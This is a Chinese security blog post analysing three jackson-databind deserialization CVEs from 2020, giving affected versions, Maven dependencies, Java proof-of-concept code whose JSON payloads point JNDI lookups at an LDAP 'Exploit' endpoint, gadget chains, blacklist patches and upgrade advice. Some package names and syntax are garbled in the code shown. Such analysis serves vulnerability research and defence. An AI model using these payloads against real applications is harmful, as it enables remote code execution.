Jackson-databind的几个CVE
文章前言
本篇文章主要介绍几个关于Jackson-databind的CVE漏洞,并对此进行简易分析~
CVE-2020-14060
影响范围
- jackson-databind before 2.9.10.4
- jackson-databind before 2.8.11.6
- jackson-databind before 2.7.9.7
利用条件
- 开启enableDefaultTyping()
- 使用了org.apache.drill.exec:drill-jdbc-all第三方依赖
漏洞复现
pom.
<dependencies> <dependency> <groupId>com.faster.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.4</version> </dependency> <dependency> <groupId>org.apache.drill.exec</groupId> <artifactId>drill-jdbc-all</artifactId> <version>1.4.0</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <!-- https://mvnrepository.com/artifact/javax.transaction/jta --> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> </dependencies> <!-- https://mvnrepository.com/artifact/org.aoju/bus-core -->
PS:这里的漏洞所使用的库包需要在1.4版本才可以,之后没有该漏洞类,而目前最新的已经是1.17.0了,所以总体来说较为鸡肋~
POC:
package com.jacksonTest; import com.faster.jackson.databind.ObjectMapper; import java.io.IOException; public class Poc { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"oadd.org.apache.xalan.lib.sql.JNDIConnectionPool\"{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]"; try { Object obj = mapper.readValue(payload Object.class); mapper.writeValueAsString(obj); } catch (IOException e) { e.printStackTrace(); } } }
之后运行该程序,成功执行命令,弹出计算器:
漏洞分析
首先定位到oadd.org.apache.xalan.lib.sql.JNDIConnectionPool类,之后发现一处可疑的JNDI注入:
参数为jndiPath,该参数在当前类中有对应的set操作,在反序列化时会调用setJndiPath进行一次赋值操作,故可控:
然而我们的findDatasource并不会被调用,之后全局搜索findDatasource函数,发现存在两处,一处是testConnect(),这对我们来说无用,另外一处是getConnection()该函数在序列化时会被调用:
在反序列化操作时,我们可以将jndipath指向恶意LDAP服务,之后当序列化操作时getConnection会被调用,由此导致findDatasource被调用,最后导致JNDI注入,整个利用链如下所示:
mapper.readValue ->setJndiPath ->getConnection ->findDatasource ->context.lookup(this.jndiPath);
补丁分析
官方在github的更新方式依旧是添加oadd.org.apache.xalan.lib.sql.JNDIConnectionPool为黑名单类,但这种方式治标不治本,后续可能出现其他绕过黑名:
https://github.com/FasterXML/jackson-databind/commit/d1c67a0396e84c08d0558fbb843b5bd1f26e1921
修复建议
- 及时将jackson-databind升级到安全版本
- 升级到较高版本的JDK
CVE-2020-14062
影响范围
- jackson-databind before 2.9.10.4
- jackson-databind before 2.8.11.6
- jackson-databind before 2.7.9.7
利用条件
- 开启enableDefaultTyping()
- 使用了com.sun..parsers:jaxp-ri第三方依赖
漏洞复现
pom.文件:
<dependencies> <dependency> <groupId>com.faster.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.4</version> </dependency> <dependency> <groupId>com.sun..parsers</groupId> <artifactId>jaxp-ri</artifactId> <version>1.4</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <!-- https://mvnrepository.com/artifact/javax.transaction/jta --> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> </dependencies>
POC:
package com.jacksonTest; import com.faster.jackson.databind.ObjectMapper; import java.io.IOException; public class Poc { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool\"{\"jndiPath\":\"ldap://127.0.0.1:1099/Exploit\"}]"; try { Object obj = mapper.readValue(payload Object.class); mapper.writeValueAsString(obj); } catch (IOException e) { e.printStackTrace(); } } }
之后运行该程序,成功执行命令,弹出计算器:
漏洞分析
首先定位到com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool类,之后发现一处可疑的JNDI注入:
参数为jndiPath,该参数在当前类中有对应的set操作,在反序列化时会调用setJndiPath进行一次赋值操作,故可控:
然而我们的findDatasource并不会被调用,之后全局搜索findDatasource函数,发现存在两处,一处是testConnect(),这对我们来说无用,另外一处是getConnection()该函数在序列化时会被调用:
在反序列化操作时,我们可以将jndipath指向恶意LDAP服务,之后再次进行序列化操作时getConnection会被调用(多少有些鸡肋,需要先反序列化,灾后再序列化一次),由此导致findDatasource被调用,最后导致JNDI注入,整个利用链如下所示:
mapper.readValue ->setJndiPath ->getConnection ->findDatasource ->context.lookup(this.jndiPath);
补丁分析
官方在github的更新方式依旧是添加oadd.org.apache.xalan.lib.sql.JNDIConnectionPool为黑名单类,但这种方式治标不治本,后续可能出现其他绕过黑名:
https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/faster/jackson/databind/jsontype/impl/SubTypeValidator.java#L119
修复建议
- 及时将jackson-databind升级到安全版本
- 升级到较高版本的JDK
CVE-2020-14195
影响范围
- jackson-databind before 2.9.10.4
- jackson-databind before 2.8.11.6
- jackson-databind before 2.7.9.7
利用条件
- 开启enableDefaultTyping()
- 使用了org.jsecurity.realm.jndi.JndiRealmFactory第三方依赖
漏洞复现
pom.如下:
<dependencies> <dependency> <groupId>com.faster.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.4</version> </dependency> <!-- https://mvnrepository.com/artifact/org.jsecurity/jsecurity --> <dependency> <groupId>org.jsecurity</groupId> <artifactId>jsecurity</artifactId> <version>0.9.0</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <!-- https://mvnrepository.com/artifact/javax.transaction/jta --> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> </dependencies>
漏洞POC:
package com.jacksonTest; import com.faster.jackson.databind.ObjectMapper; import java.io.IOException; public class Poc { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\"{\"jndiNames\":\"ldap://127.0.0.1:1099/Exploit\"}]"; try { Object obj = mapper.readValue(payload Object.class); mapper.writeValueAsString(obj); } catch (IOException e) { e.printStackTrace(); } } }
之后运行该程序,成功执行命令,弹出计算器:
漏洞分析
首先定位到org.jsecurity.realm.jndi.JndiRealmFactory类,之后发现一处可疑的JNDI注入:
参数name来自i$,而i$源自jndiNames,此时要想进入lookup需要满足前面的if条件语句,即jndiNames不为空,且不为null,所以我们可以在构造poc时直接对jndiName进行传参赋值操作即可,同时将其设置为我们的ldap恶意服务:
整个利用链如下所示:
mapper.readValue ->setJndiNames ->getRealms ->lookup
补丁分析
官方在github的更新方式依旧是添加org.jsecurity.realm.jndi.JndiRealmFactory为黑名单类,但这种方式治标不治本,后续可能出现其他绕过黑名:
https://github.com/FasterXML/jackson-databind/commit/f6d9c664f6d481703138319f6a0f1fdbddb3a259
修复建议
- 及时将jackson-databind升级到安全版本
- 升级到较高版本的JDK